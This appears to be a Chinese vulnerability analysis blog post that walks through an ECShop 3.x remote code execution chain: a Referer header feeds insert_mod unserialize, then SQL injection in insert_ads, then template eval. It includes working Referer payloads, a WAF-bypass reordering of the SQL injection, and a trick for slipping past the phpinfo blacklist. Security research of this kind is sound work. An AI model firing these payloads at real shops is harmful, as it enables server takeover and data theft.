刷漏洞信息的时候看到有师傅分析了2.7最新版的命令执行,然后先知有师傅说3.x也有,但是要绕waf,于是弄来了3.6的源码进行复现。
前言
在最新的ecshop3.6中,注入点已经被修复了
1
2
3
4
5
6
| function insert_ads($arr)
{
static $static_res = NULL;
$arr['num'] = intval($arr['num']);
$arr['id'] = intval($arr['id']);
|
所以使用3.6.0上一个版本进行复现
漏洞触发与2.7版本相同,只是需要绕个waf,绕waf可以直接跳到构造payload
漏洞分析
在user.php中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| elseif ($action == 'login')
{
if (empty($back_act))
{
if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
{
$back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
}
else
{
$back_act = 'user.php';
}
}
...
$smarty->assign('back_act', $back_act);
$smarty->display('user_passport.dwt');
}
|
进入assign()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| function assign($tpl_var, $value = '')
{
if (is_array($tpl_var))
{
...
}
else
{
if ($tpl_var != '')
{
$this->_var[$tpl_var] = $value;
}
}
}
|
$back_act
获取HTTP_REFERER,然后通过assign()
函数绑定到$this->_var['back_cat']
继续执行$smarty->display('user_passport.dwt')
1
2
3
4
5
6
7
| function display($filename, $cache_id = '')
{
$this->_seterror++;
error_reporting(E_ALL ^ E_NOTICE);
$this->_checkfile = false;
$out = $this->fetch($filename, $cache_id);
|
然后进入$this->fetch()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| function fetch($filename, $cache_id = '')
{
...
else
{
if ($cache_id && $this->caching)
{
$out = $this->template_out;
}
else
{
if (!in_array($filename, $this->template))
{
$this->template[] = $filename;
}
$out = $this->make_compiled($filename);
|
然后进入$this->make_compiled()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| function make_compiled($filename)
{
...
if ($this->force_compile || $filestat['mtime'] > $expires)
{
$this->_current_file = $filename;
$source = $this->fetch_str(file_get_contents($filename));
if (file_put_contents($name, $source, LOCK_EX) === false)
{
trigger_error('can\'t write:' . $name);
}
$source = $this->_eval($source);
}
return $source;
}
|
1
2
3
4
5
6
7
8
9
10
11
| function fetch_str($source)
{
...
$source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);
...
if (!function_exists('version_compare') || version_compare(phpversion(), '5.3.0', '<')) {
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
} else {
return include(ROOT_PATH . 'includes' . DIRECTORY_SEPARATOR . 'patch' . DIRECTORY_SEPARATOR . 'includes_cls_template_fetch_str.php');
}
}
|
通过$this->fetch_str()
,将模板中的{$tag}
全部换成$this->select('$tag')
回到make_compiled()
继续执行$this->_eval()
1
2
3
4
5
6
7
8
9
| function _eval($content)
{
ob_start();
eval('?' . '>' . trim($content));
$content = ob_get_contents();
ob_end_clean();
return $content;
}
|
使得模板文件执行$this->select()
1
2
3
4
5
6
7
8
9
10
11
12
13
| function select($tag)
{
$tag = stripslashes(trim($tag));
...
elseif ($tag{0} == '$') // 变量
{
// if(strpos($tag,"'") || strpos($tag,"]"))
// {
// return '';
// }
return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';
}
|
1
2
3
4
5
6
7
| function get_val($val)
{
... //如果是变量的话,省略部分都匹配不上
else
{
$p = $this->make_var($val);
}
|
1
2
3
4
5
6
7
8
9
10
| function make_var($val)
{
if (strrpos($val, '.') === false)
{
if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
{
$val = $this->_patchstack[$val];
}
$p = '$this->_var[\'' . $val . '\']';
}
|
经过$this->select()
处理,返回$this->_var['tag'];
这样执行完模板中所有的$this->select()
后,原先{$back_act}
的地方就变成了<?php echo $this->_val['back_act'];
,成功引入可控变量
然后回到display()
中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| function display($filename, $cache_id = '')
{
..
$out = $this->fetch($filename, $cache_id);
if (strpos($out, $this->_echash) !== false)
{
$k = explode($this->_echash, $out);
foreach ($k AS $key => $val)
{
if (($key % 2) == 1)
{
$k[$key] = $this->insert_mod($val);
}
}
$out = implode('', $k);
}
...
|
如果存在_echash
就以_echash
为分割线,得到$k
,如果下标为单数就交给isnert_mod
处理,因为_echash
为固定值,所以$k
可控,并且分割后变量的下标为单数
1
2
3
4
5
6
7
8
| function insert_mod($name) // 处理动态内容
{
list($fun, $para) = explode('|', $name);
$para = unserialize($para);
$fun = 'insert_' . $fun;
return $fun($para);
}
|
在insert_mod
中,以|
分割$val
,$name
作为函数名,反序列$para
作为参数
所以如果伪造Referer为(insert_ads中存在漏洞)
1
| 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:2:"id";i:123;s:3:"num";i:321;}45ea207d7a2b68c49582d2d22adf953a |
首先分割_echash
,得到ads|a:2:{s:2:"id";i:123;s:3:"num";i:321;}
再分割|
,可得$fun=asd; $para='a:2:{s:2:"id";i:123;s:3:"num";i:321;}'
反序列化后调用insert_ads($para)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| function insert_ads($arr)
{
static $static_res = NULL;
$time = gmtime();
if (!empty($arr['num']) && $arr['num'] != 1)
{
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
"AND a.position_id = '" . $arr['id'] . "' " .
'ORDER BY rnd LIMIT ' . $arr['num'];
$res = $GLOBALS['db']->GetAll($sql);
}
|
并没有什么过滤,很明显一个sql注入,继续往下看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| foreach ($res AS $row)
{
if ($row['position_id'] != $arr['id'])
{
continue;
}
$position_style = $row['position_style'];
...
}
$position_style = 'str:' . $position_style;
$need_cache = $GLOBALS['smarty']->caching;
$GLOBALS['smarty']->caching = false;
$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style);
|
如果sql查询的结果中position_id与传入的id相同时,将结果中的position_style赋值给$position_style
,接着将字符串’str:‘拼接到前面,执行fetch()
1
2
3
4
5
6
7
8
9
10
11
12
| function fetch($filename, $cache_id = '')
{
if (!$this->_seterror)
{
error_reporting(E_ALL ^ E_NOTICE);
}
$this->_seterror++;
if (strncmp($filename,'str:', 4) == 0)
{
$out = $this->_eval($this->fetch_str(substr($filename, 4)));
}
|
执行fetch_str()
将xxx{$asd}xxx
变换为xxx<?php echo $this->_var['asd'];xxx
,由上面可以发现,在make_var
中可以造成单引号逃逸,使得语句变成xxx<?php echo $this->_var['asd']; phpinfo(); //']
,经过_eval()
就使得phpinfo执行了
所以要通过sql注入伪造$position_style
,造成任意命令执行
构造payload
首先是sql注入
构造Referer
1
| 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:2:"id";s:3:"'/*";s:3:"num";s:43:"*/ union select 1,0x272f2a,3,4,5,6,7,8,9,10 #";}45ea207d7a2b68c49582d2d22adf953a |
理论上可以使sql语句变成xxx AND a.position_id = ''/*' ORDER BY rnd LIMIT */union select 1,0x272f2a,3,4,5,6,7,8,9,10 #
,成功伪造position_style,但是实际上
碰到了waf,这也是3.x版本与2.7版本的区别之一,全局搜索,发现waf代码 includes\safety.php
1
| [^\{\s]{1}(\s|\b)+(?:select\b|update\b|insert(?:(\/\*.*?\*\/)|(\s)|(\+))+into\b).+?(?:from\b|set\b)|[^\{\s]{1}(\s|\b)+(?:create|delete|drop|truncate|rename|desc)(?:(\/\*.*?\*\/)|(\s)|(\+))+(?:table\b|from\b|database\b)|into(?:(\/\*.*?\*\/)|\s|\+)+(?:dump|out)file\b|\bsleep\([\s]*[\d]+[\s]*\)|benchmark\(([^\,]*)\,([^\,]*)\)|(?:declare|set|select)\b.*@|union\b.*(?:select|all)\b|(?:select|update|insert|create|delete|drop|grant|truncate|rename|exec|desc|from|table|database|set|where)\b.*(charset|ascii|bin|char|uncompress|concat|concat_ws|conv|export_set|hex|instr|left|load_file|locate|mid|sub|substring|oct|reverse|right|unhex)\(|(?:master\.\.sysdatabases|msysaccessobjects|msysqueries|sysmodules|mysql\.db|sys\.database_name|information_schema\.|sysobjects|sp_makewebtask|xp_cmdshell|sp_oamethod|sp_addextendedproc|sp_oacreate|xp_regread|sys\.dbms_export_extension)" |
发现union与select不能有符号,看起来是没办法了,但是他只检测了union后面是不是select,所以将id与num的位置换一下
1
| 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:46:"*/select 1,0x27756e696f6e2f2a,3,4,5,6,7,8,9,10";s:2:"id";s:8:"'union/*";}45ea207d7a2b68c49582d2d22adf953a |
这样union后面就不是select了,而且sql语句也没改变
成功绕过,剩下就是构造position_style为xxx{$asd'];phpinfo();//}xxx
发现phpinfo没了
这是因为在fetch_str
中还有个waf
1
| $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);
|
phpinfo在黑名单中,所以构造xxx{$asd'];php<?copy(info();//}xxx
绕过
安排上了
参考
http://ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/